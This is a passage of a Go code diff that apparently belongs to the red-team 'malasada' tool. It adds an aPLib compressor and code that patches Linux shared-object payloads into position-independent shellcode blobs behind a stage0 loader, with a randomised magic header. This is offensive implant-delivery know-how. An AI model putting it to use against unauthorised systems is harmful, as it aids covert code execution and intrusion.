if candidate >= 0 && candidate < pos {
|
||||
off := pos - candidate
|
||||
if off > 0 {
|
||||
l := 0
|
||||
for pos+l < len(src) && src[candidate+l] == src[pos+l] {
|
||||
l++
|
||||
}
|
||||
if l >= minMatchLen {
|
||||
bestOff = off
|
||||
bestLen = l
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if pos+4 <= len(src) {
|
||||
h := hash4(src[pos : pos+4])
|
||||
hashTable[h] = pos + 1
|
||||
}
|
||||
|
||||
if bestLen >= minMatchLen {
|
||||
w.writeBit(1)
|
||||
w.writeBit(0)
|
||||
|
||||
base := uint32(3)
|
||||
if lastWasMatch {
|
||||
base = 2
|
||||
}
|
||||
|
||||
hi := uint32(bestOff >> 8)
|
||||
lo := byte(bestOff & 0xff)
|
||||
|
||||
w.writeGamma(hi + base)
|
||||
w.writeByte(lo)
|
||||
|
||||
adj := uint32(0)
|
||||
if bestOff >= 32000 {
|
||||
adj++
|
||||
}
|
||||
if bestOff >= 1280 {
|
||||
adj++
|
||||
}
|
||||
if bestOff < 128 {
|
||||
adj += 2
|
||||
}
|
||||
|
||||
gammaLen := uint32(bestLen) - adj
|
||||
if gammaLen < 2 {
|
||||
// Should not happen with minMatchLen>=4, but fall back safely.
|
||||
w.writeBit(0)
|
||||
w.writeByte(src[pos])
|
||||
lastWasMatch = false
|
||||
pos++
|
||||
continue
|
||||
}
|
||||
w.writeGamma(gammaLen)
|
||||
|
||||
lastWasMatch = true
|
||||
|
||||
end := pos + bestLen
|
||||
if end > len(src) {
|
||||
end = len(src)
|
||||
}
|
||||
for p := pos; p < end; p++ {
|
||||
if p+4 <= len(src) {
|
||||
h := hash4(src[p : p+4])
|
||||
hashTable[h] = p + 1
|
||||
}
|
||||
}
|
||||
pos = end
|
||||
continue
|
||||
}
|
||||
|
||||
w.writeBit(0)
|
||||
w.writeByte(src[pos])
|
||||
lastWasMatch = false
|
||||
pos++
|
||||
}
|
||||
|
||||
// End marker: 1 1 0 then offs byte = 0.
|
||||
w.writeBit(1)
|
||||
w.writeBit(1)
|
||||
w.writeBit(0)
|
||||
w.writeByte(0)
|
||||
|
||||
return w.out, nil
|
||||
}
|
||||
|
||||
type bitWriter struct {
|
||||
out []byte
|
||||
tagIndex int
|
||||
bitPos int
|
||||
}
|
||||
|
||||
func newBitWriter(firstLiteral byte) *bitWriter {
|
||||
return &bitWriter{
|
||||
out: []byte{firstLiteral},
|
||||
tagIndex: -1,
|
||||
bitPos: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func (w *bitWriter) startTag() {
|
||||
w.out = append(w.out, 0)
|
||||
w.tagIndex = len(w.out) - 1
|
||||
w.bitPos = 7
|
||||
}
|
||||
|
||||
func (w *bitWriter) ensureTag() {
|
||||
if w.tagIndex < 0 || w.bitPos < 0 {
|
||||
w.startTag()
|
||||
}
|
||||
}
|
||||
|
||||
func (w *bitWriter) writeBit(bit uint32) {
|
||||
w.ensureTag()
|
||||
if bit != 0 {
|
||||
w.out[w.tagIndex] |= 1 << w.bitPos
|
||||
}
|
||||
w.bitPos--
|
||||
}
|
||||
|
||||
func (w *bitWriter) writeByte(b byte) {
|
||||
w.out = append(w.out, b)
|
||||
}
|
||||
|
||||
// writeGamma writes the "gamma2" coding used by aPLib.
|
||||
//
|
||||
// Valid values are >= 2. Values < 2 are not representable.
|
||||
func (w *bitWriter) writeGamma(v uint32) {
|
||||
// aP_getgamma() starts at 1 and runs the body at least once, so the minimum
|
||||
// representable value is 2.
|
||||
if v < 2 {
|
||||
v = 2
|
||||
}
|
||||
|
||||
// For each bit after the MSB, output (dataBit, continueBit).
|
||||
n := bits.Len32(v)
|
||||
for shift := n - 2; shift >= 0; shift-- {
|
||||
dataBit := (v >> shift) & 1
|
||||
w.writeBit(dataBit)
|
||||
continueBit := uint32(0)
|
||||
if shift != 0 {
|
||||
continueBit = 1
|
||||
}
|
||||
w.writeBit(continueBit)
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package aplib
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
)
|
||||
|
||||
const (
|
||||
safeTag = 0x32335041 // 'AP32'
|
||||
safeHeaderSize = 24
|
||||
)
|
||||
|
||||
var ErrBadHeader = errors.New("aplib: bad safe header")
|
||||
|
||||
// PackSafe returns a safe-packed aPLib buffer (AP32 header + raw stream).
|
||||
func PackSafe(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrEmptyInput
|
||||
}
|
||||
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
packed, err := Pack(src)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if uint64(len(packed)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
hdr := make([]byte, safeHeaderSize)
|
||||
binary.LittleEndian.PutUint32(hdr[0:4], safeTag)
|
||||
binary.LittleEndian.PutUint32(hdr[4:8], safeHeaderSize)
|
||||
binary.LittleEndian.PutUint32(hdr[8:12], uint32(len(packed)))
|
||||
binary.LittleEndian.PutUint32(hdr[12:16], crc32.ChecksumIEEE(packed))
|
||||
binary.LittleEndian.PutUint32(hdr[16:20], uint32(len(src)))
|
||||
binary.LittleEndian.PutUint32(hdr[20:24], crc32.ChecksumIEEE(src))
|
||||
|
||||
out := make([]byte, 0, len(hdr)+len(packed))
|
||||
out = append(out, hdr...)
|
||||
out = append(out, packed...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// DepackSafe depacks an AP32 header + aPLib buffer.
|
||||
func DepackSafe(src []byte) ([]byte, error) {
|
||||
if len(src) < safeHeaderSize {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
if binary.LittleEndian.Uint32(src[0:4]) != safeTag {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
headerSize := binary.LittleEndian.Uint32(src[4:8])
|
||||
if headerSize < safeHeaderSize || headerSize > uint32(len(src)) {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
packedSize := binary.LittleEndian.Uint32(src[8:12])
|
||||
if uint64(headerSize)+uint64(packedSize) > uint64(len(src)) {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
origSize := binary.LittleEndian.Uint32(src[16:20])
|
||||
|
||||
body := src[headerSize : headerSize+packedSize]
|
||||
out, err := Depack(body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if uint32(len(out)) != origSize {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+896
@@ -0,0 +1,896 @@
|
||||
package malasada
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"debug/elf"
|
||||
_ "embed"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
keystone "github.com/moloch--/go-keystone"
|
||||
"github.com/sliverarmory/malasada/internal/aplib"
|
||||
)
|
||||
|
||||
// Arch is a linux architecture supported by malasada.
|
||||
type Arch int
|
||||
|
||||
const (
|
||||
ArchUnknown Arch = iota
|
||||
ArchLinuxAMD64
|
||||
ArchLinuxARM64
|
||||
)
|
||||
|
||||
func (a Arch) String() string {
|
||||
switch a {
|
||||
case ArchLinuxAMD64:
|
||||
return "linux/amd64"
|
||||
case ArchLinuxARM64:
|
||||
return "linux/arm64"
|
||||
default:
|
||||
return "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func archFromELFMachine(m elf.Machine) (Arch, error) {
|
||||
switch m {
|
||||
case elf.EM_X86_64:
|
||||
return ArchLinuxAMD64, nil
|
||||
case elf.EM_AARCH64:
|
||||
return ArchLinuxARM64, nil
|
||||
default:
|
||||
return ArchUnknown, fmt.Errorf("unsupported ELF machine %v", m)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
errBadELF = errors.New("bad ELF")
|
||||
)
|
||||
|
||||
// DefaultCallExport is the default exported symbol name called by the generated
|
||||
// entry stub when the caller does not specify one.
|
||||
const DefaultCallExport = "StartW"
|
||||
|
||||
// ConvertSharedObject reads a Linux ELF shared object from soPath, patches it to
|
||||
// call exportName as the process entrypoint, and wraps it with the stage0 loader
|
||||
// to produce an executable PIC .bin blob.
|
||||
func ConvertSharedObject(soPath string, exportName string, compress bool) ([]byte, error) {
|
||||
if exportName == "" {
|
||||
exportName = DefaultCallExport
|
||||
}
|
||||
so, err := os.ReadFile(soPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Common footgun: Go's buildmode=c-archive produces an ar archive (.a), which
|
||||
// is sometimes misnamed as ".so". Provide a clear error early.
|
||||
if bytes.HasPrefix(so, []byte("!<arch>\n")) {
|
||||
return nil, fmt.Errorf("input %q is an ar archive (likely built with -buildmode=c-archive); malasada requires an ELF shared object (.so). Rebuild with: go build -buildmode=c-shared -o payload.so <pkg>", soPath)
|
||||
}
|
||||
|
||||
arch, patchedSO, err := patchSOToCallExport(so, exportName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
payload := patchedSO
|
||||
if compress {
|
||||
payload, err = aplib.PackSafe(patchedSO)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
stage0, err := buildStage0(arch)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := patchStage0PayloadLen(stage0, uint64(len(payload))); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out := make([]byte, 0, len(stage0)+len(payload))
|
||||
out = append(out, stage0...)
|
||||
out = append(out, payload...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// -----------------------------
|
||||
// stage0 build + patching
|
||||
// -----------------------------
|
||||
|
||||
const msdaMagicLen = 8
|
||||
|
||||
var msdaMagic = newMSDAMagic()
|
||||
|
||||
func newMSDAMagic() []byte {
|
||||
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
if len(letters) != 52 {
|
||||
// If this ever changes, the rejection-sampling below must be updated.
|
||||
panic("msda magic: unexpected alphabet length")
|
||||
}
|
||||
|
||||
// 52*4 is the largest multiple of 52 < 256, so we can map bytes uniformly.
|
||||
const cutoff = 52 * 4 // 208
|
||||
|
||||
out := make([]byte, msdaMagicLen)
|
||||
out[0] = 'M'
|
||||
for i := 1; i < len(out); {
|
||||
var buf [32]byte
|
||||
if _, err := rand.Read(buf[:]); err != nil {
|
||||
// Extremely unlikely; fall back to the historical magic.
|
||||
copy(out, []byte("MALASADA"))
|
||||
return out
|
||||
}
|
||||
for _, b := range buf {
|
||||
if b >= cutoff {
|
||||
continue
|
||||
}
|
||||
out[i] = letters[int(b)%len(letters)]
|
||||
i++
|
||||
if i == len(out) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
//go:generate go run ./internal/stage0/genstage0 -out internal/stage0
|
||||
|
||||
// Prebuilt stage0 blobs (generated by `go generate`). These are embedded so the
|
||||
// CLI can convert .so -> .bin without needing zig at runtime.
|
||||
//
|
||||
// IMPORTANT: Always copy before mutating; embed-backed bytes may live in
|
||||
// read-only memory.
|
||||
//
|
||||
//go:embed internal/stage0/stage0_linux_amd64.bin
|
||||
var stage0LinuxAMD64Prebuilt []byte
|
||||
|
||||
//go:embed internal/stage0/stage0_linux_arm64.bin
|
||||
var stage0LinuxARM64Prebuilt []byte
|
||||
|
||||
func patchStage0PayloadLen(stage0 []byte, payloadLen uint64) error {
|
||||
// The stage0 linker script forces the msda header to the end of the extracted
|
||||
// .text. We enforce that invariant so we can append the payload bytes directly
|
||||
// after the header.
|
||||
const headerSize = 8 + 4 + 4 + 8
|
||||
if len(stage0) < headerSize {
|
||||
return fmt.Errorf("stage0 too small")
|
||||
}
|
||||
|
||||
off := len(stage0) - headerSize
|
||||
hdr := stage0[off:]
|
||||
if binary.LittleEndian.Uint32(hdr[8:12]) != 1 {
|
||||
return fmt.Errorf("stage0 has unexpected msda version")
|
||||
}
|
||||
arch := binary.LittleEndian.Uint32(hdr[12:16])
|
||||
if arch != 1 && arch != 2 {
|
||||
return fmt.Errorf("stage0 has unexpected msda arch")
|
||||
}
|
||||
|
||||
if len(msdaMagic) != 8 {
|
||||
return fmt.Errorf("internal error: msdaMagic length is %d, want 8", len(msdaMagic))
|
||||
}
|
||||
copy(hdr[0:8], msdaMagic)
|
||||
|
||||
// payload_len is at offset 16 from magic start.
|
||||
binary.LittleEndian.PutUint64(hdr[16:24], payloadLen)
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildStage0(arch Arch) ([]byte, error) {
|
||||
var prebuilt []byte
|
||||
switch arch {
|
||||
case ArchLinuxAMD64:
|
||||
prebuilt = stage0LinuxAMD64Prebuilt
|
||||
case ArchLinuxARM64:
|
||||
prebuilt = stage0LinuxARM64Prebuilt
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported arch %v", arch)
|
||||
}
|
||||
if len(prebuilt) == 0 {
|
||||
return nil, fmt.Errorf("missing embedded stage0 for %v (run `go generate ./...`)", arch)
|
||||
}
|
||||
stage0 := make([]byte, len(prebuilt))
|
||||
copy(stage0, prebuilt)
|
||||
return stage0, nil
|
||||
}
|
||||
|
||||
// -----------------------------
|
||||
// .so patching (call export)
|
||||
// -----------------------------
|
||||
|
||||
const (
|
||||
elf64HeaderSize = 64
|
||||
elf64PhdrSize = 56
|
||||
|
||||
ptLoad = 1
|
||||
ptDynamic = 2
|
||||
ptInterp = 3
|
||||
ptNote = 4
|
||||
ptPhdr = 6
|
||||
|
||||
ptGnuEhFrame = 0x6474e550
|
||||
ptGnuStack = 0x6474e551
|
||||
)
|
||||
|
||||
const (
|
||||
pfX = 0x1
|
||||
pfW = 0x2
|
||||
pfR = 0x4
|
||||
)
|
||||
|
||||
const (
|
||||
dtNull = 0
|
||||
dtFlags1 = 0x6ffffffb
|
||||
|
||||
dtInit = 12
|
||||
dtInitArray = 25
|
||||
dtInitArraySz = 27
|
||||
dtPreinitArray = 32
|
||||
dtPreinitArraySz = 33
|
||||
)
|
||||
|
||||
const (
|
||||
df1Pie = 0x08000000
|
||||
)
|
||||
|
||||
type elf64Ehdr struct {
|
||||
ident [16]byte
|
||||
typ uint16
|
||||
machine uint16
|
||||
version uint32
|
||||
entry uint64
|
||||
phoff uint64
|
||||
shoff uint64
|
||||
flags uint32
|
||||
ehsize uint16
|
||||
phentsize uint16
|
||||
phnum uint16
|
||||
shentsize uint16
|
||||
shnum uint16
|
||||
shstrndx uint16
|
||||
_entryOff int
|
||||
_phoffOff int
|
||||
_phnumOff int
|
||||
_phentsOff int
|
||||
}
|
||||
|
||||
type elf64Phdr struct {
|
||||
typ uint32
|
||||
flags uint32
|
||||
off uint64
|
||||
vaddr uint64
|
||||
paddr uint64
|
||||
filesz uint64
|
||||
memsz uint64
|
||||
align uint64
|
||||
|
||||
fileOff int // where this phdr starts in the file
|
||||
}
|
||||
|
||||
func parseELF64Header(b []byte) (*elf64Ehdr, error) {
|
||||
if len(b) < elf64HeaderSize {
|
||||
return nil, errBadELF
|
||||
}
|
||||
var h elf64Ehdr
|
||||
copy(h.ident[:], b[:16])
|
||||
if h.ident[0] != 0x7f || h.ident[1] != 'E' || h.ident[2] != 'L' || h.ident[3] != 'F' {
|
||||
return nil, errBadELF
|
||||
}
|
||||
if h.ident[4] != 2 { // ELFCLASS64
|
||||
return nil, fmt.Errorf("%w: not ELF64", errBadELF)
|
||||
}
|
||||
if h.ident[5] != 1 { // ELFDATA2LSB
|
||||
return nil, fmt.Errorf("%w: not little-endian", errBadELF)
|
||||
}
|
||||
h.typ = binary.LittleEndian.Uint16(b[16:18])
|
||||
h.machine = binary.LittleEndian.Uint16(b[18:20])
|
||||
h.version = binary.LittleEndian.Uint32(b[20:24])
|
||||
h.entry = binary.LittleEndian.Uint64(b[24:32])
|
||||
h.phoff = binary.LittleEndian.Uint64(b[32:40])
|
||||
h.shoff = binary.LittleEndian.Uint64(b[40:48])
|
||||
h.flags = binary.LittleEndian.Uint32(b[48:52])
|
||||
h.ehsize = binary.LittleEndian.Uint16(b[52:54])
|
||||
h.phentsize = binary.LittleEndian.Uint16(b[54:56])
|
||||
h.phnum = binary.LittleEndian.Uint16(b[56:58])
|
||||
h.shentsize = binary.LittleEndian.Uint16(b[58:60])
|
||||
h.shnum = binary.LittleEndian.Uint16(b[60:62])
|
||||
h.shstrndx = binary.LittleEndian.Uint16(b[62:64])
|
||||
|
||||
h._entryOff = 24
|
||||
h._phoffOff = 32
|
||||
h._phentsOff = 54
|
||||
h._phnumOff = 56
|
||||
|
||||
if h.ehsize != elf64HeaderSize {
|
||||
return nil, fmt.Errorf("%w: unexpected ehsize %d", errBadELF, h.ehsize)
|
||||
}
|
||||
if h.phentsize != elf64PhdrSize {
|
||||
return nil, fmt.Errorf("%w: unexpected phentsize %d", errBadELF, h.phentsize)
|
||||
}
|
||||
if h.phoff == 0 || h.phnum == 0 {
|
||||
return nil, fmt.Errorf("%w: missing program headers", errBadELF)
|
||||
}
|
||||
phEnd := h.phoff + uint64(h.phnum)*uint64(h.phentsize)
|
||||
if phEnd > uint64(len(b)) {
|
||||
return nil, fmt.Errorf("%w: phdrs outside file", errBadELF)
|
||||
}
|
||||
return &h, nil
|
||||
}
|
||||
|
||||
func parseELF64Phdrs(b []byte, h *elf64Ehdr) ([]elf64Phdr, error) {
|
||||
out := make([]elf64Phdr, 0, h.phnum)
|
||||
off := int(h.phoff)
|
||||
for i := 0; i < int(h.phnum); i++ {
|
||||
p := b[off+i*elf64PhdrSize : off+(i+1)*elf64PhdrSize]
|
||||
ph := elf64Phdr{
|
||||
typ: binary.LittleEndian.Uint32(p[0:4]),
|
||||
flags: binary.LittleEndian.Uint32(p[4:8]),
|
||||
off: binary.LittleEndian.Uint64(p[8:16]),
|
||||
vaddr: binary.LittleEndian.Uint64(p[16:24]),
|
||||
paddr: binary.LittleEndian.Uint64(p[24:32]),
|
||||
filesz: binary.LittleEndian.Uint64(p[32:40]),
|
||||
memsz: binary.LittleEndian.Uint64(p[40:48]),
|
||||
align: binary.LittleEndian.Uint64(p[48:56]),
|
||||
fileOff: off + i*elf64PhdrSize,
|
||||
}
|
||||
out = append(out, ph)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func writeELF64Entry(b []byte, entry uint64) {
|
||||
binary.LittleEndian.PutUint64(b[24:32], entry)
|
||||
}
|
||||
|
||||
func writeELF64Phdr(b []byte, ph elf64Phdr) {
|
||||
p := b[ph.fileOff : ph.fileOff+elf64PhdrSize]
|
||||
binary.LittleEndian.PutUint32(p[0:4], ph.typ)
|
||||
binary.LittleEndian.PutUint32(p[4:8], ph.flags)
|
||||
binary.LittleEndian.PutUint64(p[8:16], ph.off)
|
||||
binary.LittleEndian.PutUint64(p[16:24], ph.vaddr)
|
||||
binary.LittleEndian.PutUint64(p[24:32], ph.paddr)
|
||||
binary.LittleEndian.PutUint64(p[32:40], ph.filesz)
|
||||
binary.LittleEndian.PutUint64(p[40:48], ph.memsz)
|
||||
binary.LittleEndian.PutUint64(p[48:56], ph.align)
|
||||
}
|
||||
|
||||
// swapELF64PhdrContents swaps the payload-relevant fields of a and b, but keeps
|
||||
// their fileOff values unchanged (fileOff represents the slot/location in the
|
||||
// program header table).
|
||||
func swapELF64PhdrContents(a, b *elf64Phdr) {
|
||||
a.typ, b.typ = b.typ, a.typ
|
||||
a.flags, b.flags = b.flags, a.flags
|
||||
a.off, b.off = b.off, a.off
|
||||
a.vaddr, b.vaddr = b.vaddr, a.vaddr
|
||||
a.paddr, b.paddr = b.paddr, a.paddr
|
||||
a.filesz, b.filesz = b.filesz, a.filesz
|
||||
a.memsz, b.memsz = b.memsz, a.memsz
|
||||
a.align, b.align = b.align, a.align
|
||||
}
|
||||
|
||||
func alignUp(x, align uint64) uint64 {
|
||||
if align == 0 {
|
||||
return x
|
||||
}
|
||||
return (x + (align - 1)) &^ (align - 1)
|
||||
}
|
||||
|
||||
func patchSOToCallExport(so []byte, exportName string) (Arch, []byte, error) {
|
||||
// Use debug/elf for symbol resolution (parsing only).
|
||||
f, err := elf.NewFile(bytes.NewReader(so))
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
if f.Class != elf.ELFCLASS64 || f.Data != elf.ELFDATA2LSB {
|
||||
return ArchUnknown, nil, fmt.Errorf("unsupported ELF (need 64-bit little-endian)")
|
||||
}
|
||||
if f.Type != elf.ET_DYN {
|
||||
return ArchUnknown, nil, fmt.Errorf("expected ET_DYN (.so), got %v", f.Type)
|
||||
}
|
||||
|
||||
arch, err := archFromELFMachine(f.Machine)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
dynSyms, err := f.DynamicSymbols()
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
var exportVaddr uint64
|
||||
found := false
|
||||
for _, s := range dynSyms {
|
||||
if s.Name == exportName {
|
||||
exportVaddr = s.Value
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return ArchUnknown, nil, fmt.Errorf("export %q not found in .dynsym", exportName)
|
||||
}
|
||||
|
||||
h, err := parseELF64Header(so)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
if elf.Type(h.typ) != elf.ET_DYN {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: not ET_DYN", errBadELF)
|
||||
}
|
||||
if elf.Machine(h.machine) != f.Machine {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: machine mismatch", errBadELF)
|
||||
}
|
||||
phdrs, err := parseELF64Phdrs(so, h)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
// Find a program header we can repurpose into a new executable PT_LOAD for the entry stub.
|
||||
stubPhIdx := -1
|
||||
for i := range phdrs {
|
||||
if phdrs[i].typ == ptNote {
|
||||
stubPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if stubPhIdx < 0 {
|
||||
for i := range phdrs {
|
||||
if phdrs[i].typ == ptGnuEhFrame {
|
||||
stubPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if stubPhIdx < 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose (need PT_NOTE or PT_GNU_EH_FRAME)")
|
||||
}
|
||||
|
||||
// Find a program header we can repurpose into PT_INTERP so glibc's dynamic
|
||||
// loader treats the payload like a normal PIE executable.
|
||||
interpPhIdx := -1
|
||||
for i := range phdrs {
|
||||
if i == stubPhIdx {
|
||||
continue
|
||||
}
|
||||
if phdrs[i].typ == ptGnuStack {
|
||||
interpPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if interpPhIdx < 0 {
|
||||
for i := range phdrs {
|
||||
if i == stubPhIdx {
|
||||
continue
|
||||
}
|
||||
// Fall back to repurposing another low-value header if needed.
|
||||
if phdrs[i].typ == ptNote || phdrs[i].typ == ptGnuEhFrame {
|
||||
interpPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if interpPhIdx < 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose for PT_INTERP (need PT_GNU_STACK, PT_NOTE, or PT_GNU_EH_FRAME)")
|
||||
}
|
||||
|
||||
// Ensure the payload has a PT_PHDR entry. Some glibc rtld code paths rely on
|
||||
// this when computing the executable's load bias.
|
||||
phdrIdx := -1
|
||||
for i := range phdrs {
|
||||
if phdrs[i].typ == ptPhdr {
|
||||
phdrIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
phdrPhIdx := -1
|
||||
if phdrIdx < 0 {
|
||||
for i := range phdrs {
|
||||
if i == stubPhIdx || i == interpPhIdx {
|
||||
continue
|
||||
}
|
||||
if phdrs[i].typ == ptGnuEhFrame {
|
||||
phdrPhIdx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if phdrPhIdx < 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose for PT_PHDR (need PT_PHDR or PT_GNU_EH_FRAME)")
|
||||
}
|
||||
}
|
||||
|
||||
var maxVaddrEnd uint64
|
||||
var maxAlign uint64 = 0x1000
|
||||
var dynPh *elf64Phdr
|
||||
for i := range phdrs {
|
||||
ph := &phdrs[i]
|
||||
if ph.typ == ptLoad {
|
||||
end := ph.vaddr + ph.memsz
|
||||
if end > maxVaddrEnd {
|
||||
maxVaddrEnd = end
|
||||
}
|
||||
if ph.align > maxAlign {
|
||||
maxAlign = ph.align
|
||||
}
|
||||
}
|
||||
if ph.typ == ptDynamic {
|
||||
dynPh = ph
|
||||
}
|
||||
}
|
||||
if maxVaddrEnd == 0 {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: no PT_LOAD segments", errBadELF)
|
||||
}
|
||||
if dynPh == nil {
|
||||
return ArchUnknown, nil, fmt.Errorf("%w: no PT_DYNAMIC segment", errBadELF)
|
||||
}
|
||||
|
||||
stubFileOff := alignUp(uint64(len(so)), maxAlign)
|
||||
stubVaddr := alignUp(maxVaddrEnd, maxAlign)
|
||||
|
||||
initVaddrs, err := extractInitVaddrs(so, phdrs, *dynPh)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
// Append padding then the entry stub itself.
|
||||
so2 := make([]byte, 0, int(stubFileOff)+1024)
|
||||
so2 = append(so2, so...)
|
||||
if pad := int(stubFileOff) - len(so2); pad > 0 {
|
||||
so2 = append(so2, bytes.Repeat([]byte{0}, pad)...)
|
||||
}
|
||||
|
||||
stub, err := makeEntryStub(arch, stubVaddr, exportVaddr, initVaddrs)
|
||||
if err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
so2 = append(so2, stub...)
|
||||
|
||||
// Add a PT_INTERP string (within the stub PT_LOAD) so glibc ld-linux treats
|
||||
// the payload like a normal executable (needed for some rtld invariants).
|
||||
interpPath := ""
|
||||
switch arch {
|
||||
case ArchLinuxAMD64:
|
||||
interpPath = "/lib64/ld-linux-x86-64.so.2"
|
||||
case ArchLinuxARM64:
|
||||
interpPath = "/lib/ld-linux-aarch64.so.1"
|
||||
default:
|
||||
return ArchUnknown, nil, fmt.Errorf("unsupported arch %v", arch)
|
||||
}
|
||||
interpStr := append([]byte(interpPath), 0)
|
||||
interpFileOff := uint64(len(so2))
|
||||
interpVaddr := stubVaddr + uint64(len(stub))
|
||||
so2 = append(so2, interpStr...)
|
||||
|
||||
// Convert the selected phdr into our stub PT_LOAD.
|
||||
stubPh := phdrs[stubPhIdx]
|
||||
stubPh.typ = ptLoad
|
||||
stubPh.flags = pfR | pfX
|
||||
stubPh.off = stubFileOff
|
||||
stubPh.vaddr = stubVaddr
|
||||
stubPh.paddr = stubVaddr
|
||||
stubPh.filesz = uint64(len(stub) + len(interpStr))
|
||||
stubPh.memsz = uint64(len(stub) + len(interpStr))
|
||||
stubPh.align = maxAlign
|
||||
phdrs[stubPhIdx] = stubPh
|
||||
|
||||
// Repurpose another phdr into PT_INTERP.
|
||||
interpPh := phdrs[interpPhIdx]
|
||||
interpPh.typ = ptInterp
|
||||
interpPh.flags = pfR
|
||||
interpPh.off = interpFileOff
|
||||
interpPh.vaddr = interpVaddr
|
||||
interpPh.paddr = interpVaddr
|
||||
interpPh.filesz = uint64(len(interpStr))
|
||||
interpPh.memsz = uint64(len(interpStr))
|
||||
interpPh.align = 1
|
||||
phdrs[interpPhIdx] = interpPh
|
||||
|
||||
// Add PT_PHDR if we had to repurpose one, and ensure it is the first phdr.
|
||||
if phdrPhIdx >= 0 {
|
||||
phdrPh := phdrs[phdrPhIdx]
|
||||
phdrPh.typ = ptPhdr
|
||||
phdrPh.flags = pfR
|
||||
phdrPh.off = h.phoff
|
||||
phdrPh.vaddr = h.phoff
|
||||
phdrPh.paddr = h.phoff
|
||||
phdrPh.filesz = uint64(h.phnum) * uint64(h.phentsize)
|
||||
phdrPh.memsz = phdrPh.filesz
|
||||
phdrPh.align = 8
|
||||
phdrs[phdrPhIdx] = phdrPh
|
||||
phdrIdx = phdrPhIdx
|
||||
}
|
||||
if phdrIdx >= 0 && phdrIdx != 0 {
|
||||
// glibc's rtld startup code expects to discover the load bias from PT_PHDR
|
||||
// before processing PT_DYNAMIC for the main program. Put PT_PHDR in slot 0
|
||||
// to match normal PIE executables.
|
||||
swapELF64PhdrContents(&phdrs[0], &phdrs[phdrIdx])
|
||||
phdrIdx = 0
|
||||
}
|
||||
|
||||
// Patch e_entry to point at the stub.
|
||||
writeELF64Entry(so2, stubVaddr)
|
||||
|
||||
// Write back all program headers (some are repurposed/reordered above).
|
||||
for i := range phdrs {
|
||||
writeELF64Phdr(so2, phdrs[i])
|
||||
}
|
||||
|
||||
// Patch DT_FLAGS_1 |= DF_1_PIE if present.
|
||||
if err := patchDTFlags1Pie(so2, *dynPh); err != nil {
|
||||
return ArchUnknown, nil, err
|
||||
}
|
||||
|
||||
return arch, so2, nil
|
||||
}
|
||||
|
||||
func patchDTFlags1Pie(so []byte, dynPh elf64Phdr) error {
|
||||
// dynPh.off points to the dynamic entries in the file.
|
||||
if dynPh.off+dynPh.filesz > uint64(len(so)) {
|
||||
return fmt.Errorf("%w: PT_DYNAMIC outside file", errBadELF)
|
||||
}
|
||||
dyn := so[dynPh.off : dynPh.off+dynPh.filesz]
|
||||
if len(dyn)%16 != 0 {
|
||||
// Not fatal; still try to parse what we can.
|
||||
}
|
||||
for off := 0; off+16 <= len(dyn); off += 16 {
